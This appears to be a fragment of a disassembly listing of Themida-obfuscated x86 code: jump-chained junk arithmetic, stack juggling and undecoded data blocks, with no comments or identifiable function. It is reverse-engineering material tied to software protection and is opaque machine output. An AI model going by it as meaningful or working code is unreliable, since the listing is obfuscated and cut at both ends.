99BEE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593436: ; CODE XREF: Themida_:00593FF3j add ebp, 23BD8222h sub ecx, 75E11DE6h jmp loc_59A739 ; --------------------------------------------------------------------------- db 1 dd 148B59CBh, 5B545324h, 4959BA52h, 0F2816E35h, 48B016EEh dd 74F1CA81h, 0DDE9235Eh, 1Bh, 595C2CC8h, 48BC288h, 6CA6824h dd 1C890000h, 68E38924h, 679Dh, 0BF243C89h, 5DAC159Ch dd 7C5CC781h, 0EFD1318Eh, 46F0CF81h, 0C781548Fh, 2ABF2AA3h dd 799BF781h, 0FB01825Eh, 83243C8Bh, 0C38304C4h, 100AE904h db 1, 0 ; --------------------------------------------------------------------------- loc_5934B2: ; CODE XREF: Themida_:005A450Bj push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_5A1D62 ; --------------------------------------------------------------------------- dw 0FD87h dd 0E905E5C1h, 5DEEh, 7A38EE81h, 0C6814E90h, 3F9568C9h dd 1138EE9h, 5FDEBD00h, 91E94327h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5934E3: ; CODE XREF: Themida_:005A2718j add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] movzx ecx, al push 6922h mov [esp], eax mov eax, esp push ebx mov ebx, 179C526Eh xor ebx, 506B6C57h shr ebx, 4 add ebx, 0FB808C21h add eax, ebx pop ebx jmp loc_59DBD0 ; --------------------------------------------------------------------------- db 55h dd 1081FE9h db 0 ; --------------------------------------------------------------------------- loc_593521: ; CODE XREF: Themida_:00597418j push ebx mov bh, 15h or bh, 0C1h xor bh, 11h and bh, 0F4h xor bh, 0BAh jmp loc_5959EE ; --------------------------------------------------------------------------- byte_593535 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:005908C0o dd 5CE99C24h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59353F: ; CODE XREF: Themida_:005A3637j sub cl, 58h sub cl, bl add cl, 58h jmp loc_59746F ; --------------------------------------------------------------------------- dd 0FFD54AE9h, 2474FFFFh, 242C8B04h, 4C481h, 48F0000h dd 24248B24h, 4E55E9h, 243C3300h, 33243C31h, 895C243Ch dd 0E953240Ch, 9AA6h, 57A3EE81h, 0CFE961A2h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593587: ; CODE XREF: Themida_:005A263Bj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp jmp loc_5A27DD ; --------------------------------------------------------------------------- dd 4C481h, 0F2800000h, 5AD000D5h, 0DD65E952h, 1489FFFFh dd 50BBBA24h, 4A4217CDh, 0AF49C281h, 0EB81E832h, 5157470Ch dd 0FFE9D301h, 59FFFFFCh, 8104C483h, 0DD3862EEh, 81D60156h dd 0DD3862C6h, 31C68156h, 8B691C17h, 0C4812414h, 4, 55EF001h dd 2, 31240433h, 4332404h, 16CBE924h db 1, 0 ; --------------------------------------------------------------------------- loc_59360A: ; CODE XREF: Themida_:0059B0D6j xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 7EBDh jmp loc_5A122E ; --------------------------------------------------------------------------- loc_593630: ; CODE XREF: Themida_:005A4643j and ah, 0B1h jmp loc_59C9A1 ; --------------------------------------------------------------------------- aIH5p db '‰,$h5p',0 align 10h dd 10A11E9h, 0BA525E00h, 2, 706CED81h, 66E900BCh, 4B000017h dd 82E9DA87h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59365F: ; CODE XREF: Themida_:005A0335j mov edi, 15785AECh jmp loc_5A0F83 ; --------------------------------------------------------------------------- loc_593669: ; CODE XREF: Themida_:005A06D4j mov ebp, ebx push ebp pop ecx jmp loc_595E4F ; --------------------------------------------------------------------------- aXaS3 db 'X€Å:éË3',0 align 4 aIsoh db 'ëéOh',0 align 2 dw 0C181h dd 965CF58h, 0C8BCD31h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 3F092D5Ch, 0E80124A2h, 71D5B951h, 0C18356CBh dd 41E9D1FFh, 0E902E9C1h, 6027h ; --------------------------------------------------------------------------- loc_5936B8: ; CODE XREF: Themida_:0059E3BBj add ebp, edx mov edx, [esp] jmp loc_594FBA ; --------------------------------------------------------------------------- loc_5936C2: ; CODE XREF: Themida_:00594B9Bj mov esp, [esp] add [esp], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- dw 405h dd 0E9000000h, 0C4D0h, 0D3E9C2FEh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5936DF: ; CODE XREF: Themida_:00594A65j pop esp jmp loc_59E6F7 ; --------------------------------------------------------------------------- db 1, 0CAh, 0E9h dd 0A9D7h ; --------------------------------------------------------------------------- loc_5936EC: ; CODE XREF: Themida_:0059634Ej sub esp, 4 mov [esp], ebp push ebx mov ebx, 11E71C8Dh sub ebx, 27863617h sub ebx, 264977E9h neg ebx xor ebx, 533EE00Ch mov ebp, ebx pop ebx jmp loc_59FF9C ; --------------------------------------------------------------------------- db 5Ah dd 0A7F3E9h db 0 ; --------------------------------------------------------------------------- loc_59371D: ; CODE XREF: Themida_:0059A62Fj and ecx, 68026BC3h shl ecx, 6 dec ecx add ecx, 7E32C1Eh xor ecx, 716B869Dh sub edi, ecx pop ecx add edi, 79A5028Fh push ebp mov ebp, 623B3435h add ebp, 2179425Ch add ebp, 9C459C85h sub edi, ebp jmp loc_5A1BC3 ; --------------------------------------------------------------------------- dd offset dword_4E6EDC+0B88Ch align 2 dw 2489h dd 4BF5724h, 1000000h, 5F04247Ch, 8E72E959h, 74FF0000h dd 8F5B0424h, 665C2404h, 6610D368h, 0E9243489h, 8D06h dd 5B5A532Ch, 0B252E828h, 2EC8313h, 24048966h, 0C22837B0h dd 0D0285866h, 240C8B5Ah, 230C68h, 39CAE900h, 0C4830000h dd 3AE26804h, 3C890000h, 2D51E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5937BA: ; CODE XREF: Themida_:005A417Dj xchg edx, [esp] mov esp, [esp] add ebp, 4 push eax mov eax, 4 add ebp, 633847FAh push esi mov esi, 0E520DFEh add ebp, 19596077h sub ebp, esi sub ebp, 19596077h pop esi sub ebp, eax push edi mov edi, 0E520DFEh jmp loc_598327 ; --------------------------------------------------------------------------- aLQsu db 'µl',8,'ïéîÙ',0 dd 5BF80000h, 8904EC83h, 0E9542414h, 0AD6Bh ; --------------------------------------------------------------------------- loc_59380C: ; CODE XREF: Themida_:00599E91j mov [esp], edx push eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 5C240433h, 0FFF186E9h db 0FFh ; --------------------------------------------------------------------------- loc_593825: ; CODE XREF: Themida_:0059B105j xchg ebp, [esp] pop esp and eax, edx jmp loc_5987EE ; --------------------------------------------------------------------------- dd 4EC815Eh, 89000000h, 0A3BE2434h, 515B4D5Dh, 5930F3B9h dd 8BCE3126h, 0C483240Ch, 0F329E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593852: ; CODE XREF: Themida_:0059C3B4j pop esp xor esi, eax jmp loc_59E953 ; --------------------------------------------------------------------------- loc_59385A: ; CODE XREF: Themida_:0059705Fj add esp, 4 push ebp jmp loc_59D4A6 ; --------------------------------------------------------------------------- aZs db '!ÐZéê/',0 dw 5500h dd 241D44BDh, 8E5C12Ch, 939FE9h, 0BD5500h, 5551785Ah, 9E95D52h dd 89000004h, 71E9240Ch, 810000B2h, 0FFC222F1h, 0F9C78137h dd 2912575Bh, 0F9EF81CFh, 5912575Bh, 243C8758h, 6624248Bh dd 0E9240489h, 0FFFFD1E7h, 21BFBB53h, 0FEE92D28h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5938BF: ; CODE XREF: Themida_:0059E305j mov eax, 1 mov edi, eax pop eax jmp loc_5A17A3 ; --------------------------------------------------------------------------- dd 6A1D0BBDh, 76F0BB0Eh, 6CE93A6Dh, 5EFFFFE0h, 6804C483h dd 6890h, 0B8E2E9h db 0 ; --------------------------------------------------------------------------- loc_5938E9: ; CODE XREF: Themida_:005A1FF1j mov eax, 4 add ebx, eax jmp loc_59D856 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0E902EC83h, 8C97h, 0D5F7D5F7h, 6FE9DDF7h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59390B: ; CODE XREF: Themida_:005A0A12j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edi, 4 sub edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], dx push eax mov al, 0D6h push ecx jmp loc_594384 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 1DC4E9h, 88E95D00h, 52000120h, 46B36857h, 0C15F1C28h dd 0EFC104EFh, 0F765E903h, 15A0000h, 0E904245Ch, 4C34h dd 36049FB9h, 0F7D1F75Ah, 814149D1h, 0B37A93C9h, 0F4BEE963h dd 0E9570000h, 521Ah ; --------------------------------------------------------------------------- loc_593990: ; CODE XREF: Themida_:005A0EC6j inc ebx add ebx, 0DFE5F28Dh jmp loc_592FCF ; --------------------------------------------------------------------------- dd 13E9CD01h, 0FF00005Ah, 505F2434h, 405E089h, 5000000h dd 4, 31240433h, 4332404h, 24248B24h, 4C781h, 89530000h dd 0E79DE9E3h db 2 dup(0FFh) word_5939CE dw 34FFh ; DATA XREF: Themida_:005909B8o aSJ db '$é',0Ah db 'J',0 align 2 dw 815Fh dd 0A91B9CF6h, 0C8E95678h, 890000F2h, 31BE2434h, 4E132E0Bh dd 741468h, 24048900h, 1B7CE9h db 0 ; --------------------------------------------------------------------------- loc_5939F9: ; CODE XREF: Themida_:005A06C5j add edx, edi jmp loc_5943C5 ; --------------------------------------------------------------------------- loc_593A00: ; CODE XREF: Themida_:0059438Bj xor dl, al pop eax sub al, 9Bh sub al, dl add al, 9Bh pop dx sub al, bl jmp loc_591FC5 ; --------------------------------------------------------------------------- loc_593A12: ; CODE XREF: Themida_:00592709j push edx jmp loc_594F52 ; --------------------------------------------------------------------------- dd 875FF901h, 875C240Ch, 248B240Ch, 0BE98E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593A2A: ; CODE XREF: Themida_:0059C26Cj add ecx, edx pop edx push eax mov eax, 4 add ecx, eax jmp loc_5A4402 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5830000h, 75CFE904h, 814B0000h, 0FE408EF3h dd 81DBF747h, 0B667ACF3h, 28AFE9B9h db 2 dup(0) aMhs5 db '¬hs5',0 ; DATA XREF: Themida_:00590820o align 4 dd 0E9240C89h, 51Eh, 0B7E95455h, 8100003Fh, 3C2B9CE7h dd 0E9D7F743h, 0D642h ; --------------------------------------------------------------------------- loc_593A80: ; CODE XREF: Themida_:0059D176j xor ebx, 2B617150h xor ebx, 0BCD15D1h push esi jmp loc_5A0C62 ; --------------------------------------------------------------------------- dw 0A25h dd 0C1603566h, 0D8F705E0h, 0B2273405h, 58C6013Ch, 676AE9h dd 0EB805A00h, 0E9CB00EAh, 628Eh dword_593AB4 dd 582434FFh, 8904EC83h, 97682404h, 0E9000032h, 0C96Dh ; DATA XREF: Themida_:005908E0o dword_593AC8 dd 0E92434FFh, 10F7Eh; --------------------------------------------------------------------------- loc_593AD0: ; CODE XREF: Themida_:0059BBC9j mov edx, 18C33B25h add edx, eax pop eax jmp loc_5918B0 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 62680000h, 89000024h, 57552434h, 4607D3BFh dd 5FFD8929h, 11FD8E9h, 7C08BF00h, 0C7810B33h, 0F4CC83FCh dd 0A20FE9h, 0F3215A00h, 68D3F75Eh, 2043h, 0B9240C89h dd 20733308h, 8159CB21h, 7132FEEBh, 5BDF8920h, 5E10E9h db 0 byte_593B31 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005908A8o dd 60FE924h, 2BA0000h, 51000000h, 0D56988B9h, 2037E97Bh dd 41BA0000h, 0C14DA541h, 0F74A06E2h, 41E281DAh, 813A812Fh dd 812F3DEAh, 5AD70112h, 8704EF83h, 0E95C243Ch, 0FFFFD360h ; --------------------------------------------------------------------------- loc_593B70: ; CODE XREF: Themida_:005986E3j add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push esi mov esi, esp sub esp, 4 jmp loc_59DAB4 ; --------------------------------------------------------------------------- dd 2438CBAh, 81D2F75Dh, 8020CE2h, 596EE94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_593B9A: ; CODE XREF: Themida_:005A37A0j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edi jmp loc_59CFD4 ; --------------------------------------------------------------------------- aB_qzsR db 'Ã).qZé,à',0 align 4 dd 8F04C483h, 248B2404h, 3CD36624h, 0D4E99C24h, 8BFFFFCEh dd 0C481243Ch, 4, 0FFE6CDE9h, 405FFh, 4050000h, 0E9000000h dd 23CFh, 8324148Bh, 9EE904C4h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_593BEF: ; CODE XREF: Themida_:0059EACAj add ebx, 28810E27h pop esi jmp loc_596826 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4966E900h db 2 dup(0) word_593C06 dw 52ACh ; DATA XREF: Themida_:00590910o dd 0C280E0B2h, 0F6CAFEDCh, 18EFE9D2h, 4050000h, 33000000h dd 4312404h, 24043324h, 50E0E9h, 0D9C38100h, 11AA66Eh dd 34FF5BDEh, 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 8104C483h dd 4EEh, 0D2A0E900h db 2 dup(0) word_593C52 dw 1CF7h ; DATA XREF: Themida_:005909BCo dd 40E99C24h, 5FFFFCEh, 4, 405h, 201FE900h, 0EE000000h dd 668FC680h, 7DB05051h, 114AFE9h, 0E2285C00h, 0B7C9E9h db 0 ; --------------------------------------------------------------------------- loc_593C81: ; CODE XREF: Themida_:0059F3E6j pop edx push 0 sub [esp], esi pop esi jmp loc_5931B9 ; --------------------------------------------------------------------------- dd 0E9D2F75Ah, 0EFD6h, 5BDE015Ah, 4FF668h, 242C8900h, 4BDh dd 31C68100h, 122F14Fh, 5CBB53EEh, 810A193Eh, 2405F5E3h dd 8666E961h, 59540000h, 481168h, 0D27BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593CCE: ; CODE XREF: Themida_:00595EEDj add ecx, ebx sub ecx, 7B0B5B7Ch pop ebx and eax, ecx jmp loc_59302D ; --------------------------------------------------------------------------- loc_593CDE: ; CODE XREF: Themida_:00591A0Ej xor [esp+4], ebp pop ebp pop eax push ecx mov ecx, 31D03121h xor eax, ecx jmp loc_5A18FE ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 5224248Bh, 8F340ABAh, 0EF2814Dh, 14D8F34h, 0C3815AD3h dd 4, 31241C33h, 1C33241Ch, 0F20AE924h, 4B80000h, 81000000h dd 685479C6h, 81C60161h, 685479EEh, 19B7E961h, 68570000h dd 13686612h, 0CF815Fh, 0F770DB7Ah, 1551E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_593D46: ; CODE XREF: Themida_:005962E6j mov ebx, [esp] add esp, 4 sub ecx, 4 jmp loc_596455 ; --------------------------------------------------------------------------- db 59h dd 525AD101h, 468h, 0D1015A00h, 240C875Ah, 5680E9h db 0 ; --------------------------------------------------------------------------- loc_593D6D: ; CODE XREF: Themida_:005992ABj shr ebx, 1 or ebx, 57756C62h jmp loc_59E987 ; --------------------------------------------------------------------------- dw 0E5C0h dd 0FFED8006h, 4EC81h, 4890000h, 30E5B024h, 0C58058C5h dd 4EC833Dh, 0B3241C89h, 2F66E9DCh, 0F6810000h, 2892A7Dh dd 2CE7F681h, 0F301204Ah, 5E2434FFh, 0FFE1CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_593DB5: ; CODE XREF: Themida_:0059D23Ej push 5393h mov [esp], eax jmp loc_595C62 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 9AE90000h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593DD3: ; CODE XREF: Themida_:005976A8j mov [esp], ebx mov ebx, 0 push ecx mov ecx, 3E597F84h add ebx, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 1DE553DDh shl eax, 4 and eax, 171D7720h sub eax, 3DD87140h push edx mov edx, 1 sub eax, edx pop edx jmp loc_5984A3 ; --------------------------------------------------------------------------- loc_593E0D: ; CODE XREF: Themida_:00591E93j inc edi xor edi, 54DD345Fh jmp loc_5A3720 ; --------------------------------------------------------------------------- db 55h, 51h, 0E9h dd 0FFFFF426h ; --------------------------------------------------------------------------- loc_593E20: ; CODE XREF: Themida_:0059DF0Bj pop esp pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah push eax push 1099h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push 4C3Fh mov [esp], ecx push edi mov edi, 294A6029h add edi, 4B390908h shr edi, 2 dec edi not edi add edi, 0FFFFFFFFh not edi sub edi, 1D20DA48h mov ecx, edi mov edi, [esp] add esp, 4 add eax, ecx mov ecx, [esp] push edx jmp loc_5A2A99 ; --------------------------------------------------------------------------- byte_593E7F db 66h ; DATA XREF: Themida_:00590984o dd 5624048Bh, 3EBE9h, 24148B00h, 4C481h, 9E680000h, 8900001Dh dd 0E0E9240Ch, 83000027h, 0C78104C4h, 328D7068h, 7588BE56h dd 0EF81331Eh, 254117C5h, 0C781F729h, 254117C5h, 9A80E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_593EC2: ; CODE XREF: Themida_:0059B588j pop edi pop ebp add edi, 0FFFFFFFFh dec edi shr edi, 3 push 61ECh mov [esp], esi mov esi, 65C02704h xor edi, esi pop esi push edx mov edx, 5C742FF1h neg edx sub edx, 52E73D08h jmp loc_598E95 ; --------------------------------------------------------------------------- db 0B8h, 1Fh, 0Ch dd 0C12946D7h, 8DE98158h, 0E906CA07h, 0FFFFE56Dh, 9F35D0F7h dd 314242A4h, 0EA8158C5h, 1FAB7213h, 0C281EA29h, 1FAB7213h dd 7E75E9h db 0 ; --------------------------------------------------------------------------- loc_593F21: ; CODE XREF: Themida_:00591A36j mov edx, esp push edi push ecx push eax mov eax, 21BE2E2Dh mov ecx, eax jmp loc_5A196D ; --------------------------------------------------------------------------- dw 6664h dd 60E90289h, 57FFFFCBh, 632907BFh, 0F781471Ch, 46BB6F93h dd 4697EF81h, 0FB015AD8h, 94E9535Fh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593F57: ; CODE XREF: Themida_:00596012j shr eax, 6 jmp loc_59DC94 ; --------------------------------------------------------------------------- db 66h dd 50243C8Bh, 405E089h, 83000000h, 48702C0h, 4846E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593F76: ; CODE XREF: Themida_:005A43A3j add esp, 4 mov edi, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_5A494F ; --------------------------------------------------------------------------- dw 5954h dd 4C181h, 0E9810000h, 4, 8B240C87h, 14892424h, 0AF686624h dd 0C896665h, 562D6824h, 1C890000h, 0B1F6B724h, 5BF930CEh dd 5966CE88h, 34FFF000h, 1404E924h db 1, 0 ; --------------------------------------------------------------------------- loc_593FC6: ; CODE XREF: Themida_:005A48FBj mov [esp], eax mov al, dl push ecx mov cl, al mov [ebx], cl pop ecx pop eax mov ebx, [esp] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593FDD: ; CODE XREF: Themida_:0059C29Fj add ecx, edi add ecx, 3EB10208h push ebp mov ebp, 495F0BA4h neg ebp sub ebp, 74EB5485h jmp loc_593436 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 4EA81h, 14870000h, 0C4E95C24h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_59400F: ; CODE XREF: Themida_:005A0A05j neg eax jmp loc_595D98 ; --------------------------------------------------------------------------- loc_594016: ; CODE XREF: Themida_:005A21BCj mov [esp], ecx push 38AA57EFh push dword ptr [esp] pop ecx add esp, 4 push edi mov edi, 62F4871h or ecx, edi pop edi add ecx, 28020828h mov ebp, ecx mov ecx, [esp] add esp, 4 mov dword ptr [edx+38h], 66B16827h push ebx push 5BF9h mov [esp], esi mov esi, 74476A06h mov ebx, 74476A3Eh sub ebx, 28810E27h jmp loc_59EAC8 ; --------------------------------------------------------------------------- loc_594067: ; CODE XREF: Themida_:0059910Cj xchg eax, esi dec esi dec esi shr esi, 5 push ecx jmp loc_59614A ; --------------------------------------------------------------------------- loc_594073: ; CODE XREF: Themida_:0059B59Cj pop eax sub esp, 4 mov [esp], eax push ebp jmp loc_597E5C ; --------------------------------------------------------------------------- dd 243C3166h, 243C3366h, 243C3166h, 0FFD1AEE9h, 4C481FFh dd 81000000h, 444408C6h, 243C8B03h, 4C481h, 0EC830000h dd 24048904h, 4EEBA52h, 0EA813275h, 327504ECh, 0E377E9h db 0 ; --------------------------------------------------------------------------- loc_5940BD: ; CODE XREF: Themida_:0059DEDCj add edx, 4 xchg edx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push 464Bh jmp loc_594D5D ; --------------------------------------------------------------------------- loc_5940E0: ; CODE XREF: Themida_:005931F9j pop esp pop dword ptr [esp] push 2EC7h mov [esp], edx xchg ebx, [esp] not ebx push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59EE4C ; --------------------------------------------------------------------------- dw 42Dh dd 0E9000000h, 4177h, 1CD1EB81h, 0C38100FEh, 766F3199h dd 6C88C381h, 875D3F07h, 248B241Ch, 24348724h, 24D3665Ch dd 5CE99C24h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59413F: ; CODE XREF: Themida_:005A2853j mov ebp, 73051BB1h jmp loc_59794A ; --------------------------------------------------------------------------- db 57h, 54h, 5Fh dd 0E9555352h, 0FFFFF778h ; --------------------------------------------------------------------------- loc_594154: ; CODE XREF: Themida_:0059D46Aj add esp, 4 xchg edx, [esp] mov esp, [esp] imul ecx push 10D6h jmp loc_591BA9 ; --------------------------------------------------------------------------- dd 415E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594172: ; CODE XREF: Themida_:0059A5C4j mov eax, 1 mov edx, eax push dword ptr [esp] mov eax, [esp] push 4EDBh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_597660 ; --------------------------------------------------------------------------- loc_59419A: ; CODE XREF: Themida_:005A569Bj xor esi, [esp] jmp loc_59EC9F ; --------------------------------------------------------------------------- dw 0C6FEh dd 80C1CE80h, 0F388BFC6h, 0D2C3805Ah, 835BF380h, 0C8904ECh dd 13E95024h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5941BF: ; CODE XREF: Themida_:005990A3j xor ebx, [esp] pop esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 2B542C9Bh jmp loc_59C06D ; --------------------------------------------------------------------------- loc_5941DC: ; CODE XREF: Themida_:00597758j xchg eax, [esp] mov esp, [esp] mov edx, [esp] add esp, 4 jmp loc_5A378B ; --------------------------------------------------------------------------- dd 8B240487h, 8C052424h, 6858CC19h, 21D4h, 68243489h, 200h dd 0E89BE9h, 6ED12500h, 63354A07h, 5115F32Ah, 927F87B9h dd 0F1814149h, 3E7E17D0h, 57C18149h, 506B556Dh, 0BF0534B8h dd 58C13128h, 8251E981h, 0CA29AC16h, 0E9C22959h, 0AC5Ah dd 6A5EEF81h, 685E334Ah, 4BD8h, 0BB241C89h, 32845664h dd 0E9D3F74Bh, 6B0Eh ; --------------------------------------------------------------------------- loc_594260: ; CODE XREF: Themida_:00592FCAj pop esp add ecx, edx push esi mov esi, 35FE0D47h or esi, 32549Bh jmp loc_59FDA1 ; --------------------------------------------------------------------------- dd 0EC815E54h, 4, 0E9243C89h, 0FFFFF879h, 8704EE83h, 895C2434h dd 0E8E92434h, 10000BCh, 0ABC581F5h, 8B4F1812h, 0C4832434h dd 242C8704h, 6624248Bh, 68240C8Bh, 37Fh, 68243C89h, 2615h dd 68242489h, 5B3Eh, 0B8240489h, 4, 4244481h, 19B25850h dd 0CD68h, 5B36E900h, 0A1680000h, 8900003Bh, 7E9240Ch dd 8300001Bh, 0F18104C4h, 0F1380703h, 1ACDED81h, 0C581161Dh dd 6B3A2DE5h, 0C27ED81h, 0CD01756Bh, 0C27C581h, 29E9756Bh dd 5100006Ch, 4B9h, 0A277E900h, 0C4810000h, 4, 0D919E9h dd 5BFA0000h, 1B45066h, 0C1E9E228h, 0D0000009h, 3D77E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59433A: ; CODE XREF: Themida_:0059A870j add esp, 4 mov [edi+eax*4+1], bl jmp loc_59D0D0 ; --------------------------------------------------------------------------- loc_594346: ; CODE XREF: Themida_:0059A7E0j push edi mov edi, esp add edi, 4 push esi mov esi, 4 jmp loc_59A4FB ; --------------------------------------------------------------------------- loc_59435A: ; CODE XREF: Themida_:0059583Cj add ebp, 5D2F4570h pop eax xchg ebp, [esp] jmp loc_591556 ; --------------------------------------------------------------------------- db 30h, 4, 24h dd 0C729E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594372: ; CODE XREF: Themida_:00597683j push 3D68h mov [esp], ebp push 44274868h jmp loc_59D840 ; --------------------------------------------------------------------------- loc_594384: ; CODE XREF: Themida_:00593944j mov cl, 4Fh mov dl, 7Eh add dl, cl pop ecx jmp loc_593A00 ; --------------------------------------------------------------------------- aSws_ db '\SWé(.',0 align 4 dd 5E2434FFh, 0FFD12DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5943A1: ; CODE XREF: Themida_:0059D60Bj push esp pop edi jmp loc_599842 ; --------------------------------------------------------------------------- aLt6s db '½*lt6é',0 aE_0 db '…',0 align 2 dw 34FFh aSm db '$émÔ',0 align 2 dw 1C8Bh dd 4C48324h, 5841E9h db 0 ; --------------------------------------------------------------------------- loc_5943C5: ; CODE XREF: Themida_:005939FBj pop edi xchg edx, [esp] mov esp, [esp] push 230Dh mov [esp], ebp push 451Dh jmp loc_5A5BDA ; --------------------------------------------------------------------------- dw 8166h dd 0E96AD0EBh, 4AFAh, 8159CD01h, 0E0F5DCC5h, 5DEA01F6h dd 8904EC83h, 4BB241Ch, 81000000h, 0C863E5C2h, 81DA0157h dd 0C863E5EAh, 14875B57h, 0C3815C24h, 4, 572CE9h db 0 byte_59441D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00590898o aHm db '$hŒ',0Bh,0 align 2 dw 1C89h dd 81E38924h, 4C3h, 4EC8100h, 89000000h, 9AE92434h, 59000082h dd 4EB81h, 40E90000h, 2100004Eh, 0EA8358C2h, 0DC9EE901h dd 248BFFFFh, 0C8AF0F24h, 38E99C51h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594463: ; CODE XREF: Themida_:00590BE1j mov esi, 7666704Fh sub esi, 57EB4CB0h mov ebx, esi jmp loc_5A357F ; --------------------------------------------------------------------------- loc_594475: ; CODE XREF: Themida_:0059D80Ej mov [esp], edx mov edx, 32361F6Bh xor edx, 55537712h add edx, 0D30B9Eh shl edx, 3 neg edx push edi jmp loc_594EA0 ; --------------------------------------------------------------------------- off_594494 dd offset dword_4BC2EC+2A7Ch ; DATA XREF: Themida_:00590824o dd 24048900h, 0E3895351h, 4C381h, 0EB810000h, 4, 60FCE9h dd 0E9D3F700h, 90A6h, 4C18159h, 0E9000000h, 19A9h, 4BE565Dh dd 1000000h, 0E9515EF5h, 3043h ; --------------------------------------------------------------------------- loc_5944D4: ; CODE XREF: Themida_:00596BD7j mov ebp, 61DD0E7Eh xor eax, ebp pop ebp sub ecx, eax pop eax push 21D3h mov [esp], edi jmp loc_59A57C ; --------------------------------------------------------------------------- aHd_4B4luPF0srg db 'hd.Õ4[Ã4LîßP¸{',0Ah db '”0éG',0 dw 100h dd 8B08247Ch, 8950243Ch, 405E0h, 0C0830000h, 74FF5004h dd 8F580424h, 25E92404h db 5, 1, 0 ; --------------------------------------------------------------------------- loc_594523: ; CODE XREF: Themida_:0059B344j add esp, 4 add esp, 4 and eax, ebx pop ebx shr eax, 0Eh jmp loc_599F70 ; --------------------------------------------------------------------------- dword_594534 dd 0FF2434FFh, 48B2434h, 2EE95324h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_594543: ; CODE XREF: Themida_:00599C01j add esi, ecx jmp loc_59CB89 ; --------------------------------------------------------------------------- dw 8F58h dd 34FF2404h, 2434FF24h, 9927E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_59455A: ; CODE XREF: Themida_:00598180j mov esp, [esp] jmp loc_590A9B ; --------------------------------------------------------------------------- dw 0C280h dd 0E9E2D001h, 0FFFFCFDAh, 0E9241C89h, 10947h, 80EBB652h dd 0F00083EEh, 8D67E9h db 0 ; --------------------------------------------------------------------------- loc_594581: ; CODE XREF: Themida_:005A3706j pop ecx jmp loc_5A20B9 ; --------------------------------------------------------------------------- db 30h dd 0C0B60FC3h, 0B431E9h db 0 ; --------------------------------------------------------------------------- loc_594591: ; CODE XREF: Themida_:005A1BDBj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5977F6 ; --------------------------------------------------------------------------- loc_5945A2: ; CODE XREF: Themida_:005A1610j add esi, 4 jmp loc_5914FC ; --------------------------------------------------------------------------- loc_5945AD: ; CODE XREF: Themida_:005A5BE2j pop esi xor esi, 769F07AAh not esi add esi, 756076FFh jmp loc_5A019A ; --------------------------------------------------------------------------- db 0F6h, 0DFh, 